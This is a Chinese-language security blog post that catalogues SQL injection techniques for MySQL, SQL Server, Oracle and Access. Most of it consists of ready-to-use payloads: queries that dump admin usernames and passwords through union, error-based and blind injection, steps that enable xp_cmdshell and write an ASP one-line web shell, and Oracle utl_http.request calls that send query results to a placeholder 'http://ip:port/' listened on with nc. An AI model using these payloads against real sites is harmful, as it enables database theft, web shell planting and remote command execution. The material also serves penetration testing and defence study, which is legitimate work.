暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Web安全-SQL注入漏洞总结

zero1安全笔记 2021-09-27
838
原理与危害

sql注入漏洞,OWASP往年排名第一的安全威胁,今年掉到第三了,Web安全的一大研究方向。通过该漏洞可以获得我们想获得的数据库数据,例如管理员账号密码等;可以上传我们想上传的脚本、恶意代码,通过注入漏洞,我们可以执行许多对网站来说极度危险的操作。

为什么会有sql注入漏洞呢?原因是网站的一些操作需要和数据库进行数据交互,通常是前端用户执行一个操作,然后后端脚本操作sql语句进行数据的增删改查,在这个流程中,攻击者在前端将恶意的sql语句插入到网站参数中,但网站应用程序没有对其进行过滤或者过滤不严,导致恶意语句被带入数据库执行,从而攻击者通过执行恶意语句查询到敏感信息或者执行其他恶意操作。


分类


数据类型分类

1.数字型注入

注入点的数据类型是数字型,没有用单引号引起来。

测试方法(初步判断)

输入单引号,返回异常,xxx.php?id=1'

输入and 1=1,返回正常,xxx.php?id=1 and 1=1

输入and 1=2,返回异常,xxx.php?id=1 and 1=2

2.字符型注入

注入点的数据类型是字符型,使用单引号引起来。

测试方法(初步判断)

输入单引号,返回异常,xxx.php?id=1'

输入' and '1'='1,返回正常,xxx.php?id=1' and '1'='1

输入' and '1'='2,返回异常,xxx.php?id=1' and '1'='2


数据传输形式分类

GET

GET请求的参数是放在URL里的,GET请求的URL传参有长度限制,中文需要URL编码

URL最长的长度 https://www.cnblogs.com/cuihongyu3503319/p/5892257.html

POST

POST请求参数是放在请求body里的,长度没有限制

COOKIE

cookie参数放在请求头信息,提交的时候,服务器会从请求头获取参数


注入方式分类

联合注入,报错注入,布尔盲注,时间注入,宽字节注入,堆叠注入


1.MySQL注入

MySQL教程  https://www.runoob.com/mysql/mysql-tutorial.html

MySQL数据库5.0版本之后默认存在information_schema库,记住该数据库的三个表名:SCHEMATA,TABLES,COLUMNS。

schemata

存储该用户创建的所有的数据库的库名,记住字段名schema_name

tables

存放用户创建的所有的数据库的库名和表名,记住table_schema和table_name

columns

存放用户创建的所有的数据库的库名,表名和字段名,记住table_schema,table_name,column_name

常用的函数

version()-MySQL 版本

user()-数据库用户名

database()-数据库名

@@datadir 数据库路径

@@version_compile_os 操作系统版本

MySQL注释符:#或--空格或/**/,一般使用内联注释绕过waf


1.1MySQL联合注入

1.判断注入点

输入单引号报错,输入语句进行判断页面是否返回正常,或是否存在报错信息

and 1=1 正常

and 1=2 错误

2.判断列数

确定该注入点存在,进行列数判断,想要注入获得数据,前提是两个结果集的列数相同,使用order by判断列数

php?id=1 order by x,x=5返回正常,x=6返回不正常,即有5列。

3.判断报错点

使用union查询,让前面语句为错,显示后面语句查询结果,如php?id=-1 union select 1,2,3

判断出哪个位置是显示字符位

4.暴数据

知道哪个位置是显示位之后,用函数替换,进行暴库,表,字段,数据


1.2MySQL报错注入

mysql在执行SQL语句的时,如果语句有错,会返回报错信息,在与php结合使用的时候默认并不会把报错的信息在页面显示出来。

如果要在php显示出来,将在执行语句的时候使用mysql_error()才可以把错误的信息显示到页面。

报错注入经常会用到的几个函数floor(),extractvalue(),updataxml()等,细说一下floor(),extractvalue(),updataxml()这三个。

1.2.1floor()报错

原理 https://www.cnblogs.com/bmjoker/p/8797027.html


常用语句

数据库版本

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


简单暴库

id=info()


当前数据库

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


暴库名

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


暴表名

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


暴字段

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


暴字段内容

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


1.2.2ExtractValue和updatexml报错注入

(有长度限制,最长32位)

版本MySQL5.1.5中添加了extractvalue和updatexml两个对XML文档进行操作的函数,extractvalue可以对XML文档进行查询,updatexml可以对XML文档进行更新,两个函数的语法格式如下:


EXTRACTVALUE (XML_document, XPath_string); 

第一个参数:XML_document是String格式,为XML文档对象的名称

第二个参数:XPath_string (Xpath格式的字符串).

作用:从目标XML中返回包含所查询值的字符串


UPDATEXML (XML_document, XPath_string, new_value); 

第一个参数:XML_document是String格式,为XML文档文件格式

第二个参数:XPath_string (Xpath格式的字符串) 是XML文档路径

第三个参数:new_value,String格式,替换查找到的符合条件的数据 

作用:改变文档中符合条件的节点的值


例如更新某个doc文档,这样使用updatexml(doc,'/xxx/xxx/abc','123'),这样会将abc节点的数据更新为123,将路径/xxx/xxx/abc替换为concat(0x7e,(version())),这样路径不符合XPath_string的格式,所以会报错,将表的信息通过报错显示出来,这就是updatexml注入原理,extractvalue注入原理同样。


常用语句

ExtractValue(有长度限制,最长32位)

and extractvalue(1, concat(0x7e, (select @@version),0x7e))
and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))


UpdateXml(有长度限制,最长32位)

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

需要查什么替换查询位置的语句即可


updatexml方法查询数据

and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)


上面这种查询,只能查询32位,所以有些部分查询不出来。可以先查询密文,或者先查询长度,再进行字符长度的截取,分多次进行查询,然后拼接。


1.3MySQL盲注

盲注就是看不见回显数据,只能通过逐步猜解得到信息,这种注入建议用工具跑一下,手工注入效率太低,这边需要用到ASCII码,http://c.biancheng.net/c/ascii/

盲注分为布尔盲注和延时注入两种


1.3.1延时注入

延时注入适合那种测试页面什么信息都没有显示,无论查询语句正确与否,无法用布尔盲注测试,通过延时来判断注入信息是否存在。最关键的函数是sleep函数,就是查询数据库的时候,设置执行时间,sleep(5),查询的时候执行5秒返回结果,我们用if函数配合sleep函数,用法if(1,2,3),如果1成立,执行2,否则执行3。例如猜数据长度select if(LENGTH(version())=6,sleep(3),0)

在查询数据的时候,我们常用的一些字符把它们转为ASCII码方便进行对比。

例如:select if(ascii(substring(version(),1,1))=53,sleep(3),0)

字符串截取:substring()

字符转ascii码:ascii()

流程是先用语句测试数据长度, 获取长度后查询内容

1、判断注入点

and sleep(5) 这种方法判断注入,如果存在注入的情况下页面是延时5返回页面

2、获取mysql版本

先判断mysql的版本长度 ,当

and if(LENGTH(version())=长度,sleep(3),0) ,当长度到6的时候 ,页面延时3秒返回,版本长度为6,知道长度了,就可以用截取函数查询数据。

select if(ascii(substring((select version()),1,1))=53,sleep(5),0)
select if(ascii(substring((select version()),2,1))=46,sleep(5),0)
select if(ascii(substring((select version()),3,1))=53,sleep(5),0)
select if(ascii(substring((select version()),4,1))=46,sleep(5),0)
select if(ascii(substring((select version()),5,1))=52,sleep(5),0)
select if(ascii(substring((select version()),6,1))=54,sleep(5),0)

以上是mysql里面的用语句判断1到6每个字符的长度分别是 53  46 53 46 52 54 ascii转成字符就是 5.5.46,即版本为5.5.46

3、获取库名

获取库名也是同样的语句只是把查询的内容改变一个 ,在延时注入里,语句是这样的,查询长度,不断尝试

and if(LENGTH(database())=10,sleep(3),0)


长度已经确认,查询库名。使用脚本遍历查询,核心语句如下:

select if(ascii(substring((select database()),1,1))=ascii,sleep(5),0)


 

4、获取表

查询所有表的长度 长度为30

select if(LENGTH((select(group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA=database()))=30,sleep(5),0)


查询所有表 第一个字符为97 ascii为a 查询到40

select if(ascii(SUBSTRING((select group_concat(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database()),1,1))=97,sleep(5),0)


5、查询字段

查询admin表的字段,把admin转换成十六进制 0x61646d696e(防过滤),带入语句,首先确认长度

select if(LENGTH((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e))=20,sleep(5),0)


查询数据

select if(ascii(SUBSTRING((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e),1,1))=105,sleep(5),0)


6、查询内容

先确定数据长度

select if(LENGTH((select GROUP_CONCAT(username,0x3a,password)from admin))=38,sleep(5),5)


查询数据内容,查询第一个

select if(ascii(substring((select GROUP_CONCAT(username,0x3a,password)from admin),1,1))=105,sleep(5),5)


1.3.2布尔盲注

bool类型只有true和false两种,测试注入的时候,通过页面是否正常判断注入信息,页面结果只有两种,正常和不正常,没有报错信息什么的。和延时注入一样,使用if函数

if() 条件判断函数

length() 获取字符串长度

substring() 字符串截取

ascii() 字符串ascii码

构造语句如and if(ascii(substring(database(),1,1)=100,1,0)来判断,流程和延时注入差不多,先猜长度后猜数据,就是少了个sleep,注入语句参考延时注入语句。


1.4MySQL宽字节注入

宽字节注入,什么是宽字节。开发者为了防止sql注入攻击出现,将用户输入的数据使用addslashes等函数进行了过滤,这个函数默认对单引号等字符进行转义,这样来避免注入。

这种方法是不错,但是MySQL在使用GBK编码时,如果第一个字符的ASCII大于128,就会认为前两个字符是一个汉字,会将后面的转义符“\”吃掉,将前两个字符拼接为汉字,这样就能闭合sql语句,造成宽字节注入。

例子payload:xxx.php?id=1%81' and 1=2 union select 1,database(),3

其中的%81是ASCII为129的字符的URL编码,这样会变成id=1華' and 1=2,OK,剩下的语句可以按照联合注入来走了。


1.5MySQL文件读写

MYSQL5.6.34新特性secure_file_priv对读写文件的影响 ,此开关默认为NULL,即不允许导入导出。

secure_file_priv 为空的时候,方可读写,由于这个参数不能动态更改,只能在mysql的配置文件中进行修改,然后重启生效。可以通过命令查看这个属性

select @@secure_file_priv

secure_file_priv为null    表示不允许导入导出

secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹

secure_file_priv没有设置时,则表示没有任何限制

 

写入文件的时候还需要看php.ini 里面gpc是否开启,开启的情况下,特殊字符都会被转义 ' 变成  \'

 条件

1.用户权限足够高,尽量具有root权限。

2.secure_file_priv 选项不对文件读写权限限制

3.知道绝对物理路径

4.能够使用联合查询

读写操作用到两个函数

load_file()读取文件函数

读取当前目录下的index.php文件

union select 1,2,load_file('C:\\inetpub\\wwwroot\\xxx.com\\index.php') //双写\\防转义

union select 1,2,load_file('C:/inetpub/wwwroot/xxx.com/index.php')

写文件

into outfile  文件导出加空格

into dumpfile 没有空格

写shell话到当前目录

1、gpc 关闭

2、目录可写

union select 1,'',3 into outfile 'C:\\inetpub\\wwwroot\\xxx.com\\shell.php'


2.SQLserver注入

SQL Server 是Microsoft 公司推出的关系型数据库管理系统,经常搭配asp和aspx一起使用。sqlserver教程 https://www.w3cschool.cn/sqlserver/

几个常用函数

db_name() 数据库名

@@version 版本信息

User_Name() 当前用户

host_name()  计算机名称

注释符号,比MySQL少一个#注释,--空格和/**/


SQL Server关键目录视图

SQL Server 2005引入了一组目录视图作为保留系统元数据的通用接口。所有目录视图(包括动态管理对象和兼容性视图)都在sys模式中,访问对象时,必须引入模式名称。

sysdatabases

sysdatabases(存储数据库名):保存了数据库相关的信息。最初安装 SQL Server 时,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 数据库的项。该表存储在 master 数据库中。

select * from sys.databases;


sysobjects

sysobjects(存储表名):SQL-SERVER的每个数据库内都有此系统表,它存放该数据库内创建的所有对象。如约束、默认值、日志、规则、存储过程等,每个对象在表中占一行。以下是此系统表的字段名称和相关说明。Name,id,xtype,uid,status:分别是对象名,对象ID,对象类型,所有者对象的用户ID,对象状态。

select * from sec.dbo.sysobjects where xtype='U'

就可以列出库sec中所有的用户建立的表名。


syscolumns

syscolumns(存储列名) :每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。主要字段有: name ,id, colid :分别是字段名称,表ID号,字段ID号,其中的 ID 是 刚上我们用sysobjects得到的表的ID号。

select * from sec.dbo.syscolumns得到sec这个库中所有的列信息


2.1sqlserver联合注入

参考MySQL联合注入,流程差不多,但有一点不同,sqlserver对数据类型要求更加严格,数据类型错误经常会报错,这也是为什么sqlserver经常使用报错注入的原因。

如union select 1,2,3,其中2和3的位置可能字符型的数据,使用union select 1,2,3,因为数据类型错误,会报错,正确的语句可能是 union select 1,'2','3'

因为不确定各个位置的数据类型,可以使用null代替,null是万能类型,如 union select null,null,null

想查什么就用函数代替null的位置,如union select db_name(),null,null


2.2sqlserver报错注入

sqlserver在语句执行错误的时候会报错并且会在网页上显示出来。可以利用报错来进行注入。

暴库

and db_name()>0
and (select top 1 name from sys.databases)>0

当前用户 (dbo是最大权限)

and User_Name()>0

根据当前用户出所有表

and(select TABLE_NAME  from  information_schema.TABLES   where TABLE_SCHEMA='dbo' FOR XML PATH)>1

根据当前用户出所有列

and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' FOR XML PATH)>1

出其他数据库

and (SELECT top 1 Name FROM Master..SysDatabases)>0
and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('database1'))>0
and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('database1','database2','database3','database4'))>0


and (select top 1 name from [mydb].sys.all_objects where type='U' AND is_ms_shipped=0)>0
and (select top 1 name from mydb.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('admin'))>0


 

出列

and  (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME='admin' and COLUMN_NAME not in('ID'))>0
and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME='admin' and COLUMN_NAME not in('ID','username'))>0


出数据

and (select username,password from admin FOR XML PATH)>1
and (select top 1 password from admin)>0
and (select top 1 username from admin)>0


2.3sqlserver延时注入

原理和MySQL延时注入一样,通过睡几秒来确定语句是否执行,但语句细节上有所不同。

WAITFOR是SQLServer中Transact-SQL提供的一个流程控制语句。它的作用就是等待特定时间,然后继续执行后续的语句。它包含一个参数DELAY,用来指定等待的时间。

waitfor delay '0:0:5'  等待5秒再执行操作 ,页面将5秒之后返回

select 1 waitfor delay '0:0:5'

2、判断注入

waitfor delay '0:0:5'

页面延时5秒返回

SUBSTRING 截取字符串

3、查询信息

数据库版本 (select @@version)

数据库名 (select db_name())

获取密码 (select password from admin)

 

4、截取字符判断法

DB_NAME() mydb

SUBSTRING 从第一位开始取一位

select SUBSTRING(DB_NAME(),1,1)

几种方法语句

select * from art where id=1 if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5'
select * from art where id=1 if(SUBSTRING(DB_NAME(),1,1)='m') waitfor delay '0:0:5'
if(SUBSTRING(DB_NAME(),1,1)=CHAR(109)) waitfor delay '0:0:5'
if(SUBSTRING(DB_NAME(),1,1)='m') waitfor delay '0:0:5'


 

5、 ascii码半截法

ascii 把字符转成ascii码

select * from art where id=1 IF ASCII(SUBSTRING(DB_NAME(),1,1))=109 WAITFOR DELAY '0:0:5'
IF ASCII(SUBSTRING(DB_NAME(),1,1))=109 WAITFOR DELAY '0:0:5' --
IF ASCII(SUBSTRING(DB_NAME(),1,1))>30 WAITFOR DELAY '0:0:5'--


可以使用二分法遍历字符ASCII码

查询password 的第一个密文的ascii码

IF ASCII(SUBSTRING((select password from admin),1,1))=101 WAITFOR DELAY '0:0:5'

2.4执行系统命令

在SQLSERVER中是可以执行多行操作的,两条SQL语句是用分号隔开

select * from art; select * from admin

 xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。

如果用户拥有管理员sa权限则可以用sp_configure 重新开启它。命令

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

命令解释

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGUREEXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONFIGURE //重新配置


执行系统命令

EXEC master.dbo.xp_cmdshell 'ipconfig' //查看IP信息

getshell

需要知道路径

exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:\inetpub\wwwroot\www.xxx.com\1.asp'-- 

执行系统命令,把命令结果输出到指定文件

EXEC master.dbo.xp_cmdshell 'ipconfig >>C:\inetpub\wwwroot\www.xxx.com\ip.txt'

2.5sqlserver备份getshell

差异备份和log备份,差异备份经常出错

log备份一句话

;IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;alter database mydb set RECOVERY FULL;
; drop table test_tmp;create table test_tmp (a image);backup log mydb to disk ='C:/inetpub/wwwroot/www.xxx.com/asp.bak' with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = 'C:/inetpub/wwwroot/www.xxx.com/123.asp'


参考文章 https://icode9.com/content-2-720329.html


3.Oracle注入

甲骨文公司的数据库,教程 https://www.w3cschool.cn/oraclejc/

Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。

数据字典和数据字典视图

数据字典

元数据的集合,从逻辑上和物理上描述了数据库及内容,存储于SYSTEM与SYSAUX表空间内的若干段

数据字典视图

数据字典基表中的数据很难看懂。因此,很少人直接访问这些基表。取而代之的是数据字典视图。数据字典视图分为类,它们以前辍来区分,前辍分别为:USER、ALL、DBA,它们的权限也是不一样的。

USER* 用户所拥有的对象信息ALL 用户能访问的对象信息DBA_ 整个数据库中的对象信息

user_tables表

user_tables 表中存储了用户的拥有的表的信息,类比MySQL中的information_schema中的tables表


user_tab_columns表

user_tab_columns表中存储了用户的拥有的列的信息,类比MySQL中的information_schema中的columns表


DUAL表的用途

Dual 是 Oracle中的一个实际存在的表,任何用户均可读取,常用在没有目标表的Select语句块中 查看当前连接用户



3.1Oracle联合注入

1、注释符号

-- 空格 单行注释

/* */ 多行注释

 

2、判断是否注入

and 1=1 --

and 1=2 --

3、列数

order by

4、联合查询

因为oracle 对列的类型比较严谨 所以 要用null 可以匹配任意类型

Oracle中的dual表是一个单行单列的虚拟表

Dual 是 Oracle中的一个实际存在的表,任何用户均可读取。

所以可以通过这个dual表 来显示列数。

union select null,null,null,null,null,null,null,null from dual

 

5、获取Oracle信息

oracle 版本信息

union select null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null from dual

 

1 当前用户权限 (select * from session_roles)
2 当前数据库版本 ( select banner from sys.v_$version where rownum=1
3 服务器出口IP (用utl_http.request 可以实现)
4 服务器监听IP (select utl_inaddr.get_host_address from dual)
5 服务器操作系统 (select member from v$logfile where rownum=1
6 服务器sid (select instance_name from v$instance)
7 当前连接用户 (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)
8 当前用户 (SELECT user FROM dual)


 

6、查询库名

union select null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual --
union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ),null,null,null,null,null from dual --


7、查询表

表一定是要大写的

查询第一个表

union select null,null,(select table_name from user_tables where rownum=1),null,null,null,null,null from dual  --

查询第二个表

union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null from dual --

8、查询列

查询 表 ADMIN第一个列

union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual --

第二个列

union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --

9、查询数据

union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN),null,null,null,null,null,null from dual --

上面的这些表字段名都是大写的,如果是小写,需要加双引号,因为Oracle会自动将小写字母转换为大写字母,双引号可以防止其自动转换。


3.2oracle盲注入

3.2.1decode 盲注入

decode(字段或字段的运算,值1,值2,值3)

这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回3,当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多

使用方法:

比较大小

select decode(sign(变量1-变量2),-1,变量1,变量2) from dual; --取较小值

sign()函数根据某个值是0、正数还是负数,分别返回0、1、-1

例如:

变量1=10,变量2=20

则sign(变量1-变量2)返回-1,decode解码结果为“变量1”,达到了取较小值的目的。

1+3=4 返回1 不等于返回0

select decode(1+3,4,1,0) from dual;

select decode(user,'SYSTEM',1,0) from dual;
获取当前用户 (select user from dual)
获取当前版本 (select banner from sys.v_$version where rownum=1)
获取当前admin表的帐号和密码 (select username||password from admin)
获取字符长度
select length(user) from dual --
select * from art where id=1 and 6=(select length(user) from dual) --
and 6=(select length(user) from dual) --


当前用户第一个字母的是否等于S 等于返回1否则返回0

(select decode(substr(user,1,1),'S',1,0) from dual) --
(select decode(substr(user,2,1),'Y',1,0) from dual) --
(select decode(substr(user,3,1),'S',1,0) from dual) --
(select decode(substr(user,4,1),'T',1,0) from dual) --
(select decode(substr(user,5,1),'E',1,0) from dual) --
(select decode(substr(user,6,1),'N',1,0) from dual) --


获取当前admin表的帐号和密码

select * from art where id=1 and 1=(select decode(substr((select username||password from admin),1,1),'a',1,0) from dual)

实际应用||需要转码

and 1=(select decode(substr((select username%7c%7cpassword from admin),1,1),'a',1,0) from dual)

判断字符的字符,可以编写脚本作为遍历值

abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.


查询第二个的时候

and 1=(select decode(substr((select username%7c%7cpassword from admin),2,1),'d',1,0) from dual)


3.2.2逐字猜解法

先获取数据长度

37=(select length(username||password) from admin)

转码测试

and 37=(select length(username%7c%7cpassword) from admin)--

select * from art where id=1 and 37=(select length(username||password) from admin);


猜解ascii码

substr截取字符串长度

ascii 把字符的ASCII转出来

(select ascii(substr(username||password,1,1)) from admin);
and (select ascii(substr(username%7c%7cpassword,1,1)) from admin)=97


第二个截取

and (select ascii(substr(username%7c%7cpassword,2,1)) from admin)=97

建议使用脚本或者自动化测试来进行注入


3.3Oracle延时注入

DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒,但使用该函数存在许多限制。首先,不能直接将该函数注入子查询中,因为Oracle不支持堆叠查询(stacked query)。其次,只有数据库管理员才能使用DBMS_LOCK包,这种方法不常用。

在Oracle PL/SQL中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:

dbms_pipe.receive_message('RDS', 10)  

DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。DBMS_LOCK.SLEEP()与之相反,它是一个可以用在SQL语句中的函数。

1、判断注入

jsp?id=-1 or 1= dbms_pipe.receive_message('RDS', 10)--
jsp?id=1 and 1=dbms_pipe.receive_message('RDS', 10)--


如果页面延时10秒返回,即存在注入。

 

2、延时注入

 

这里可以使用decode盲注入来配合延时语句

 

and 1=(select decode(substr(user,1,1),'S',1,0) from dual) --

在decode注入里加入延时语句。

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0) from dual) --
and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',5),0) from dual) --


3、查询数据

首先判断长度 6

(select decode(length(user),6,dbms_pipe.receive_message('RDS', 10)  ,0) from dual);

查询第一个字符

(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 10),0) from dual) --
(select decode(substr(user,2,1),'Y',dbms_pipe.receive_message('RDS', 10),0) from dual) --
(select decode(substr(user,3,1),'Y',dbms_pipe.receive_message('RDS', 10),0) from dual) --
(select decode(substr(user,4,1),'T',dbms_pipe.receive_message('RDS', 10),0) from dual) --
(select decode(substr(user,5,1),'E',dbms_pipe.receive_message('RDS', 10),0) from dual) --
(select decode(substr(user,6,1),'N',dbms_pipe.receive_message('RDS', 10),0) from dual) --


测试语句

and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS',10),0from dual) --


3.4utl_http.request 反弹注入

通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限,高权限用户才能做到。

条件:

远程服务器
有utl_http访问网络的权限


1、检测是否支持utl_http.request

utl_http.request页面正常,支持,测试语句

and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

2、反弹注入命令

and  utl_http.request('http://ip:port/'||(select banner from sys.v_$version where rownum=1))=1--
and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --


注意|| 转码%7C%7C

3、监听本地信息

nc -vvlp 端口

4、查询oracle版本信息

and%20%20utl_http.request(%27http://ip:port/%27%7C%7C(select%20banner%20from%20sys.v_$version%20where%20rownum=1))=1--

5、查询系统用户

and%20 utl_http.request('http://ip:port/'%7c%7c (select user from dual))=1--

6、查询admin的帐号和密码

and utl_http.request('http://ip:port/'%7c%7c(select username%7c%7cpassword from admin))=1 --


4.Access注入

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了MicrosoftJet Database Engine和图形用户界两项特点,是Microsoft Office的系统程序之一。Access在很多地方广泛应用,例如小型企业,大公司的部门等。


4.1Access猜解注入

access数据库与其他数据库不一样,没有库,所以只能猜表。能猜到表就可以通过联合注入获得信息。

判断注入点

and 1=1
and 1=2


判断表是否存在

and 0<>(select count(*) from admin) (<>:不等于)
and exists (select * from admin)


判断字段

and exists (select username from admin)
and exists (select password from admin)


字段长度

and (select top 1 len(username) from admin)=8

查询数据asccii码

mid() 截取位置

asc() ascii码

and (select top 1 asc(mid(username,1,1)) from admin)=97

之后使用ASCII码猜解拼接

access手工注入 https://blog.csdn.net/u011781521/article/details/53942183


5.二次注入

原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。在用户输入恶意数据时对其中的特殊字符进行了转义处理,例如使用addslashes等函数,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。


以靶场sqli-labs-24为演示例子


代码用mysql_real_escape_string做了转义处理,符号会被转义,无论登录还是注册符号都会无效

点击创建新用户,构造用户名为admin'#,密码为1234

创建完成后登录admin'#

登录之后修改密码为0000,这时候其实修改的是admin的密码

用admin,0000登录,登录成功


注册的admin '#账号,在注册时,后端对其进行了转义(mysql_real_escape_string),'#被转义成了其他的东西,所以一次注入无效。但是在保存进数据库的时候,还是admin '#。那么修改密码时的语句如下:

update users set  password='123' where username='admin '#'

所以我们修改的是admin '#的账号,但是数据库理解成要修改密码的账号是admin,所以修改了admin的密码。

发散一下思维,在一些注册等一些功能点,可以把注入语句当做用户名,进行找回密码操作时执行注入语句,其他诸如留言等将信息插入数据库的操作,都可以尝试一下。


6.堆叠注入

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询

原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够

虽然这个注入姿势非常牛,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

详细介绍 https://www.cnblogs.com/backlion/p/9721687.html


7.高级注入


7.1位移注入

这种注入方式合适在找到表找不到字段的情况下使用。该注入方式需要联合两个表,所以这种注入也是联合查询注入的一种。常用于MySQL和Access注入。

使用位移注入这种注入方法,需要确定当前表的字段数

表test的字段为3个

使用联合语句 把另外一个表联合进来查询

select * from test where id=1 union select 1,2,3 from admin

admin的表的字段数同样也是3个 把admin.* 替换1,2,3

select * from test where id=1 union select admin.* from admin

语句并没有报错 因为列数一样 同样也会显示表admin里面的字段数据

把语句改成这样就会只显示 表 admin的数据

select * from test where id=-1 union select admin.* from admin

值得注意的是,使用这种方法,当前表的字段大于或等于联合的表,示例中的test表字段大于admin表。

应用在Access数据库中

select * from test where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin

test表有18个字段

select * from test where id=100 union select 1,2,3,4,5,6,7,8,9,10,* from admin

这里的*星号代表admin的字段数 所以用18-10=8 所以admin的字段个数为8

用admin.*替换这里的 * 星号

select * from test where id=100 union select 1,2,3,4,5,6,7,8,9,10,admin.* from admin

也可以将admin.*放到其他列

select * from test where id=100 union select admin.*,2,3,4,5,6,7,8,9,10 from admin

同样星号也可以放在其他位置

select * from test where id=100 union select *,2,3,4,5,6,7,8,9,10 from admin
select * from test where id=100 union select admin.*,2,3,4,5,6,7,8,9,10 from admin


 表名.* 和* 这种同样的可以也是表示字段数,但两种结果是不一样的。

另一种联合虚拟表方式 https://www.cnblogs.com/3ichae1/p/12349824.html


7.2dnslog无回显注入

DNS在解析的时候会留下日志,利用这个属性,可以读取多级域名的解析日志,来获取信息。

将带有查询的语句发起dns查询请求,通过dns请求查询到值,组合成三级域名,在ns服务器dns的日志中显示出来。

